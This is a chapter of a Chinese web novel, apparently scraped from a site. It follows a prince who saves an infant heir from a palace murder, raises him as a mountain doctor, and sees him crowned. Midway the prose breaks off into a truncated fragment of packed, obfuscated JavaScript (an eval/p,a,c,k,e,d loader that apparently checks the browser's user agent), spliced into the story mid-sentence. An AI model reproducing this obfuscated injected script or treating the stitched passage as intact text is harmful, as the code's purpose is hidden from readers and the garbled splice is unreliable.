“唉,不就吃了你几颗糖葫芦嘛,你别哭,别哭,我下次买给你就好了……”风澈本来想去安慰她一番,手伸到一半,硬生生缩了回去。 “一串不够,要两串……”折蝶得理不饶人道,朝他比划了一个“二”的手势。 “两串就两串……等下次任务赏金得到了,给你买一车……”风澈嘟囔了一句,才两串糖葫芦,多大点儿事,不答应这个小鬼,倒显得他小气了。 春雨如丝,细细地梭织着岁月。 我们行走跳跃奔跑于世间,遇见不同的人,历经不同的风景,只是你相信吗?兜兜转转,终会回到原点,而有的人,从分别开始,就注定永生—— 不会再相见。 56. 众卿平身 明月洒下清辉,照得大地一片惨白,树影摇曳,更显得夜色鬼魅。玉轩枫身边的一个贴身宫女正鬼鬼祟祟地抱着一个“包裹”,穿过竹林,欲往宫里的死人渠那边走去。 死人渠,顾名思义,就是宫里处理死人尸体的地方,这名字是宫中人默认的别称。这条河连通宫外的明渠,原本有个很好听的名字,叫思忆河。 但凡哪个宫里打死个奴才丫鬟什么的,就往河里一丢,河水就可以直接把人冲出宫去,下游恰好有个平地,尸体便在此沉积,久而久之,附近就形成了一个乱葬岗。恰好这个乱葬岗在三国交界的地方,也无人管辖追责,自然而然地成为了一个抛尸的绝佳场所。 “站住!”来人步履匆匆,朝她大喝了一声,语气中蕴含着不怒自威的韵味,她虽然隔他十几米远,还是感受到了一股压迫感。再见来人,举手投足俨然一副王者之气,见她听话地站住了脚步,稍微缓和了语气,紧接着问了句:“干什么去呀?” 这个人虽然很少出现在宫中,但身为玉轩枫身边的丫鬟,她自然是认得的,当今皇上的叔叔玉龙吟,玉轩枫父皇的死对头。好在上一辈的恩怨没有延续到玉轩枫这辈来,老王爷对年轻一辈的皇子们还是极好的。虽然他早已远离了朝局,但也偶尔会来同玉轩枫对弈两局,同他讲些治国理政的谋略。 干什么去?她当然不能应他,依目前的形式看,只怕是来者不善。 “王……王爷……”那宫女声音抖若筛糠,吓得花容失色,却也一动也不敢动。 玉轩枫交代过了,这件事不能让任何人知道,可王爷出现在此,难免不会插足此事。一边是皇上,一边是王爷,这种事情却落在她身上,只能说是两边为难,都得罪不起。 玉龙吟也不等她回应,自己就去翻看她怀中的那个包裹。 果然,沈笑打探到的消息是没错的!那宫女怀中此刻抱着的,正是碧妃早产的小皇子,那娃娃只是安静地躺着,不哭也不闹,见此状,玉龙吟眉头锁成八字型,感慨道:“造孽啊……” 那可怜的娃娃还是皱巴巴的一团,才刚有了人形,他依稀记得,按照正常的日子,这个孩子诞世应该是两月后? 见他如此安静,又下意识去探了下他的鼻息,玉龙吟心中一喜,还活着!有救! 见跟前人吓得直冒冷汗,玉龙吟随即缓和了语气:“把他给我吧。” “可……可是……”那宫女却不依他,捂紧了包裹,下意识往怀里护了护。 玉龙吟觉得有点好气又好笑,这个宫女她本来就是得了命令来“处理”掉这个娃娃的,这个举动倒显得他才是图谋不轨之人。 “玉轩枫那边,原来是怎样现在就是怎样,可捂紧了嘴巴,别把消息告诉了他,不然的话……”玉龙吟朝她比了个“咔嚓”的动作,吓得她又往后退了两步。 玉龙吟面上依旧是风轻云淡,见她不给,索性自己抱走了那个“小团子”,又交代她:“你放心,我会隐藏好他的行踪的,只要你不说,玉轩枫不会知道的。” 那宫女恍然若失,连连应到:“是……是……” 等他走出了好远,那宫女才缓过神来,望着他融入夜色中的背影,手足无措。 玉龙吟记得那日同玉轩枫对弈时,他跟他说起宫里新来的碧后,还告诉他“以后生了娃娃,是个男孩就叫华生,是个女孩就叫浮生”时,玉轩枫嘴角扬起来的是满满笑意,哪像这样翻脸不认人,还意图杀害自家的亲儿子。 再说那碧后,不过是李家小女儿,与玉轩枫本来要娶的人同为姐妹,二人名字里就差了一个字。而且那李碧凝,是真真切切地爱着他,打个马虎眼不就过去了的事,非要计较李家是欺君之罪,这个死心眼的孩子! 夜很黑,走出宫的路很长,玉龙吟一路上都在想着,该给这个娃子起个什么名字好呢?浮生匆忙客,华生为卿歌,既是不能成全,不如这个孩子就叫弥生吧。 玉龙吟有成过亲,但没有子嗣,不知道怎么养孩子,怀中的婴儿突然啼哭不止,让他乱了手脚。 前后想了一圈,他觉得为难,这,碧后来了以后,玉轩枫就独宠她一人,宫里也没有能给小包子喂奶的妃嫔啊…… 索性就给小皇子喂了点水,沿着思忆河出了城——他不敢往回走,走在宫里太招摇,万一遇见熟人,那可是得不偿失,白瞎了他苦苦寻找这个孩子踪迹的功夫。 路似走不到尽头,玉龙吟抱着他,走在漆黑的夜中,也不知道该去哪里,像个幽灵一般,漫无目的地飘荡着。天色已晚,许多酒家客栈早就关了门,着实难熬,玉龙吟一心期盼着天快点亮,好给怀中的人儿找些吃的,哪知他却越哭越凶。 走着走着,玉龙吟也不知道过了多久。恰好路过一个村子时,有一户人家听到了屋外有婴儿的啼哭声,一个妇人探出头来,关怀地问了句:“这娃娃怕是饿了吧?怎么不给他点吃的?” 玉龙吟仿佛遇见了救星,抱着娃娃就进了屋,跟她说明了情况,心想着那人再不济,也比他一个笨手笨脚的大老爷们强吧。 “小可怜。”那妇人也是养过孩子的母亲,看到怀中人的模样,心像是被狠狠地揪了一下,面上哀婉的神情挥之不去。 万幸的是,恰好村里有一个正在哺乳期的母亲,为母则柔,看哪个孩子都亲切,都像自家小孩,她听说了弥生的情况,自愿成为了弥生的奶娘。 当然,当了小皇子的奶娘,恩惠肯定少不了的,尽管身份并没公开。玉龙吟为了表达他的感激之情,自然是给了她大把的银子,那钱,足够这个穷苦的家庭吃一辈子。 当然,钱都是玉轩枫出的。 因为早产,弥生体弱多病,靠各种药吊着命,玉龙吟索性定居在了鬼坟山。 一来鬼坟山上人少,图个清净;二来还在念城内,可以看住那个混账小子;三来这念城为玉霄国都城,其繁华是其他小城市所比拟不了的,商贾往来,行人如流,可以买到这种外面都买不到的药材。 当然,买药的钱还得玉轩枫出。玉龙吟作为一个没有官职很多年的闲散王爷,根本没有俸禄,买药的钱那么贵,他连个零头都凑不齐。 故而养了弥生以后,玉龙吟更加勤快地往皇宫里跑,每次一见玉轩枫,说的都是同一句话:“我没钱了,给我钱!” 说罢,理直气壮地朝他摊手索要,那模样就像玉轩枫差他十万八千两似的。 玉轩枫开始还没觉得有什么不对,直到次数多了以后,终于没忍住,吐槽道:“皇叔你这花钱也太快了吧。寻常人说花钱如流水,你这是花钱如瀑布吧。” 玉龙吟哼哼两声,拿了银票转身走了,一路上心里还骂骂咧咧,你以为我是为什么,要不是你个混小子,我至于用药把弥生的性命吊着吗? 紧接着,心里又是一阵悲凉划过,如今事情发展成这样,真的是作孽啊。 最后,玉轩枫被磨得实在是受不了了,递给他一块玉,上面刻了个“王”字,让他没钱花就去找福缘钱庄。 福缘钱庄掌柜的姓王,早些年得过玉轩枫一些恩惠,就给了他这枚玉佩,当时还约定,以后再见面要是见着了这枚玉佩,莫说是银两了,就是要整个铺子,也照样给你。 吃药喝药还不算,玉龙吟为了弥生也是煞费苦心。坊间传闻中那些能辟邪的东西,什么长命锁,镇魂银镯,平安符,黑狗牙,桃木块,抱着“宁可信其有,不可信其无”的态度,有什么来什么,都给弥生安排上。 玉龙吟每天煎着中药给小鬼调理着身子。前几年,弥生倒是没多大变化,依旧是一副病怏怏的状态,倒是玉龙吟,每天给弥生试药,医术精进不少。 还好,他不断利用自己钻研出的知识,给弥生调换着药方,总算是有了一些效果,弥生不再动辄一病不起,身子慢慢地好转。 玉龙吟可不想自己一身的医术后继无人,也想让自己百年之后弥生也能有个吃饭的本事,索性就收了他为徒弟,传授他各种医术。 这鬼坟山虽然死人比较多,被传得神神叨叨,但玉龙吟知道,那些神鬼什么的都是世人捏造的。他打心底还是蛮喜欢这块地的,有事没事便拉着弥生去山下捡尸体回来研究。 玉龙吟倒是无所避讳,反正人都死了,不如给他当研究材料,权当为医学事业做贡献啦。弥生还小,什么都不懂,只是很听玉龙吟的话,玉龙吟跟他说什么,他就做什么,毫不质疑。 殊不知,师徒二人这一番作为,又让鬼坟山多了个“食尸鬼”的传闻。 事情的死因,是因为山下一对兄弟家中的老父亲染了怪疾暴毙,哥哥害怕被传染,瞒着家人把老人尸体丢到了鬼坟山上,恰好被这师徒二人捡了个正着。玉龙吟当时还笑得面若桃花:“稀奇的病啊,可算是捡到宝贝了”,让弥生里三层外三层的包裹严实了,这才拉上山。 弟弟比较孝顺,想着再怎么不济也要让老人入土为安,为这事还责备了哥哥一番,兄弟二人在山下找了整整一天,都没有找到老人的尸体。别说是尸体,就连骨头都不剩。 那以后,鬼坟山被越传越邪门,寻常人没事都要绕道走,只有那些病入膏肓之人,不知道从哪里听说了山上有“神医”,才侥幸上山去碰碰运气。 起初,小弥生不知道他们捡回家的那些是什么,直到有一天,一个活人出现在他们面前,弥生才知道,那些曾是活生生的人,不是师父口中的“两脚兽”。 活着的人跟死了的人是有区别的。活人会哭会笑有感情,死人却只是冰冰冷冷地躺着,时间长了还会腐烂。通过比对,小弥生得出了一个结论:人活着比死了好。 有一段时间,小弥生是害怕那些死人的,因为有一次,他们拉上山的人只是“假死”,就在弥生准备分解尸体探查病理的时候,“尸体”突然睁开了眼,吓得弥生手上的刀子都掉了。那人醒后又迷迷蒙蒙说了一些胡话,玉龙吟企图医救他,可他几个小时后彻底死绝。 想着一个本该凉透了的人,突然有了心跳和呼吸,就像是“借尸还魂”一样,这场景真的是徒生诡异,让弥生心里有了阴影,很长一段时间,他都不肯跟玉龙吟一起下山捡尸体。 玉龙吟依旧是该干什么就干什么。他早就发现了鬼坟山是块宝地,之前弥生还小,他怕那些尸体上的病染到小孩子身上,才没敢动手,现在弥生被他养得活蹦乱跳的,他也没了顾虑。 眼见着玉龙吟把一个来山上求医的病得要死了老妪医好,像是有魔力一样,这种惊奇和成就感彻底打消了弥生的顾虑,他又义无反顾加入到玉龙吟的“捡尸”行动中来。以至于后来,无论是死人还是活人,在鬼坟山上看见了一个人他都能开心两三天。 弥生是这样想的:若是活人,便是寻求他们帮助的,可以让自己的所学有用武之地;若是死人,就可以通过探查他的死因,让更多人因此远离病痛。 这天,弥生剖析着一具新鲜的尸体,问在一旁抱着酒葫芦喝得微醺却还一边指导他的玉龙吟:“师父,你为什么要行医啊?” 玉龙吟咂了一下嘴,似乎是在回味:“因为能救人性命呀。” 这条原因弥生也想到了,所以紧接着又向玉龙吟追问:“仅此,而已吗?” “嗯,不然咧?”玉龙吟面上答得轻巧,却在弥生问过这段话后背过身去,偷偷地抹泪。 佛说,救人一命,胜造七级浮屠。弥生不信佛,佛那么有能力,怎么不下凡来普度众人?可他觉得这句话很有道理,所以玉龙吟讲过的每个小细节他都铭记在心,他知道,没准那些在某一天,就是一条人命。 要是那些病人们的家人看到他们死去,该有多伤心啊,弥生想得也很简单,能够医好每一个上山的人,让更多的人开心。 关于自己的身世和父母,他也是好奇的。起初他会问玉龙吟这些,玉龙吟只是沉默。他却不死心,继续追着师父问,玉龙吟被他问得火大,撂给他两个字:“死了!” 弥生居然当真了,为此还黯然神伤了一段时间。玉龙吟不知道他以后能不能回到宫中,压根就没想把那些事告诉他——那是父辈的恩怨纠葛,跟一个孩子有什么关系? 就像他恨玉景奕恨得再深,跟玉轩枫又有什么关系?父亲的过错,为什么要让儿子来扛? 屋里没有尸体和病人的时候,弥生也会拉着他坐在门口侃天说地:“师父,山的那边是什么?” 彼时为盛夏,他在躺椅上翘着二郎腿,一把蒲扇似是能摇到天荒地老,颇有意味地看了一下远山,语重心长道:“是朝局纷争,是人心叵测。” 他知道弥生为什么会这么问,因为玉龙吟不让他下山,弥生嫌山上无聊,可山下又有什么好的呢?玉龙吟不让他下山,只是怕他受到伤害。这山上有什么不好?要吃有吃,要喝有喝,有那上山下山的闲功夫,不如多睡个安稳觉。 除非……他是彻底没钱了。 山上能消遣的人和事并不多,所以弥生特别喜欢听那些病人们讲些他们自己的故事,不忙的时候,他能搬着板凳一听就是一整天。 某次,有个病患说到自己家养的小狗,又见弥生一脸羡慕的表情,索性就在病愈下山后,给弥生捉来一只当作谢礼。 听说在别人家,每只狗狗都是有名字的,望着自家好似煤球的黑崽子,玉龙吟坚持要叫“小黑”,弥生不依,非要叫“狼神”。 狼神就狼神吧,玉龙吟虽然同意了他的叫法,心里却还是不依的,什么狼神,在外面再怎么威风凛凛,回到家不还得叫丫蛋和狗剩嘛。 并不是每一个人来山上的人玉龙吟都会接纳,有时候他会把一些人赶下山去,弥生看了困惑,问道:“师父,你为什么要把他们赶下山去呀?” 那个时候,玉龙吟便会一脸风轻云淡地告诉他:“又不是劳什子大病,还需我亲自动手,这不是大材小用吗?” 可没过两天,山上又来了一个人,那人看着病得很严重,可玉龙吟一口咬定就是不医。弥生以为是自己的判断有了问题,赶忙请教道:“师父,这个人病得不重吗?” 玉龙吟皱着眉头答道:“不是。” 既然不是,那为什么不医?弥生却是更加困惑,又补充道:“师父,我刚听说了他是大官,是朝廷的人,他们可有钱了。” 眼见着弥生一副贼兮兮的模样,玉龙吟扬起手就是一个暴栗,一点小的鬼头,就知道钱钱钱,那长大了,还不得钻到钱眼里去了? 看着弥生委屈的模样,玉龙吟白了他一眼,那眼神像是说着:你师父像是缺钱的人吗? 许久许久,他嘴里才清吐出两个字:“有仇。” 玉景奕为一代君王,号氏景帝,手下股肱之臣自然是不少。当初要不是这些人帮着玉景奕,助纣为孽,慕卿又怎么会身陨? 父辈的恩怨虽然说是不能牵扯到孩子身上,那是因为他们小不懂事,但大人总不会不明事理吧? 虽说那些人有权有势,但玉龙吟也不怕报复,既然上了鬼坟山,就是进了他的地盘,作为一个解毒的高手,他又怎么会不懂得那些毒药的制法? 总而言之,他有一百种方法,让来人竖着进山,横着出山。 当然,与那相比,横着进山,竖着出山的人当然是占大多数的,故而在某些圈子里,“鬼坟山上的神医”可是个响当当的名号。 师父嫌弃的表情写满在脸上,弥生见了,瘪嘴,如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看着啊,这个毒,你一定要会解,这是‘迷迭’,日辄国常用的毒物之一。”玉龙吟取了根银针,扎进赵将军的肌肤里。等取出来时,那银针已经变黑了,弥生暗暗佩服,师父说得不错,真的是中毒! 至于为什么会医治赵将军,弥生只当师父他是救人心切,又有一个得罪不起的“小疯子”财神爷,才勉为其难地答应了。少不经事的他哪里会想到,师父会救赵将军,只因为迷迭。 因为曾经遇到了这个毒却无能为力,现在终于能有机会解,虽然已经救不回当年那人,但至少能弥补当年的遗憾吧。 迷迭药理极其复杂,讲着讲着,眼见着弥生思绪不知道去了哪里,玉龙吟想赶紧止住他飘飞的神思,脱口而出的却是:“臭小子,跟你叔公学着点!” 一句不经意的叔公,彻底把他们的关系暴露了,玉龙吟暗想糟了,开始盘算该怎么收口。 弥生却才晃过神来,一脸懵懂地问道:“师父,你刚才说什么?” “我说,跟着你师父学着点!”被他这么一问,玉龙吟只觉得心中有惊无险,还好他没听见。 师父姓甚名谁?他不说。弥生从来不会去过问,直到某天一个小公子和一个姑娘同上山来寻医,问师父的名讳时,弥生见他傲娇答道:“我姓‘王’名‘爷’,你们叫我‘王爷’就好了。” 虽是诧异,又想着那块刻着“王”字的玉佩,弥生这才恍然大悟,原来师父叫“王爷”呀,无功已封爵,真是个霸气的名字呢。 原以为那两人要委托师父诊治的病人只是个普通的人,却不曾想,就因为一坛酒,师父为他们又破了先例。 “臭小子,咱们下山去。”走的那天,玉龙吟言简意赅,只说了这么一句话。 弥生背着药箱在后面抠脑袋。今天的太阳还是从东边出来的呀,平时那些个人天天往山上跑,都不见得师父给他们什么好脸色,怎么他这次还主动往山下跑了呢? 那是弥生十几年来第一次下山,外面的世界让他觉得一切都很新奇。这次他们要医的,是一名叫“月娘”的女子,远远地玉龙吟见着了“醉红楼”几个大字和门下站着的人,当即黑了脸,让弥生自己回山。 他还以为醉红楼是酒楼,没想到是如此污秽之地,可不能教坏了孩子! 弥生自然是听他的话,立马往回走,内心却满是疑惑,这个女子怎么了?居然可以让师父这么上心。 他那时还没想到,师父要医的这个人竟然是自己的姨娘。 那以后师父隔三差五地往山下跑,却只是偶尔会带上他,那个叫月娘的女子偶尔也会上山来寻师父。 再后来,有个跟月娘长得相似的人来拜访师父,他以为那是来问病情的家属,也没太在意。 没想到,尔后的某一天,那个人居然跟他说,她是他的娘,是皇后,要接他回宫。 弥生心中自然是惊喜的,相对于过去玉龙吟的那一句“死了”,他其实更希望自己的父母还活着,能常常看见他们,抱抱他们,能遇见有温度有笑意的活人,而不是像他捡回山的那些尸体,冰冷且无情。 也是那个时候开始,弥生开始慢慢明白了很多东西,原来师父不叫“王爷”,而是叫“玉龙吟”,听别人讲,他身上背负了好多好多…… 让所有人都想不到的是,回宫才没两个月,弥生就被立为了太子。 在席间,玉轩枫和群臣宴饮,立马有大臣跳出来说立太子之事过于草率,玉轩枫却并不恼怒,解释道:“我觉得我可能不适合当个皇上,我就他一个孩子,这江山总有一天会是他的,我累了,我想休息一下。” 是“我”不是“朕”,玉轩枫不像是往日那个高高在上的君王,透着满目的虚弱,惹得众人闭了嘴。 那以后,他常常教弥生治国之道,跟他说治国之理,弥生很聪明,一听就会,时常惹得他哈哈大笑。 昭若殿内,玉轩枫正在教弥生写字,怀中的小鬼却仰着小脑袋,出口无忌道:“他们都说,父皇是昏君。” 玉轩枫愠色自眼底而起:“谁说的?” 这些人,敢乱嚼舌根,摧毁他在孩子心目中的形象! “玲珑姑姑说的。”弥生没看到他的不满情绪,依旧专心地写着大字。 玉轩枫一顿,半晌,才补充道:“玲珑说得对。” 是啊,过去的十几年,要不是玲珑屈身呆在醉红楼,为他打探各种消息,铲除异己,这江山又怎么会多年屹立不倒? 他突然想起年少时,玲珑曾趾高气昂地在他面前炫耀:“要是我是个男孩,这皇位了就没你的份了!” 要是你是个男孩,该多好啊,当皇上太难了,我根本不适合啊,祸国坑民,要是没有你,我定是个昏君,想着想着,玉轩枫不禁又感伤起来。 “父皇,你怎么哭了?”有冰凉的水滴落下来,弥生一手摸过他脸上透明的液体,是泪吗? “没事,父皇高兴。”玉轩枫又用龙袍抹了一把眼泪,补充道:“风太大,沙子进眼睛里了。” 闻言,弥生不解地环顾了下四周,树静云不动,今天明明……没风啊?却又抬头见到了父皇眼中的晶亮,知道他肯定是心中有事,再也没拆穿他。 收拾好国内局势后,玉轩枫功成身退,退出了朝局。弥生继承了皇位,但因为他尚且年幼,公主玲珑垂帘听政。 再也没看见那个人,弥生总会问玲珑:“姑姑,师父他去哪里了?生儿想他。” 玲珑只是笑而不语。这老头,交代了弥生这么个大包袱,还不得赶紧撂挑子拍屁股走人,满世界逍遥快活去了。 只是行着走着,玉龙吟总是会想,纵使这世界千红百绿,万紫纷呈,他也找不到那个人,那样的酒,和那个叫慕卿的姑娘。 真遗憾啊……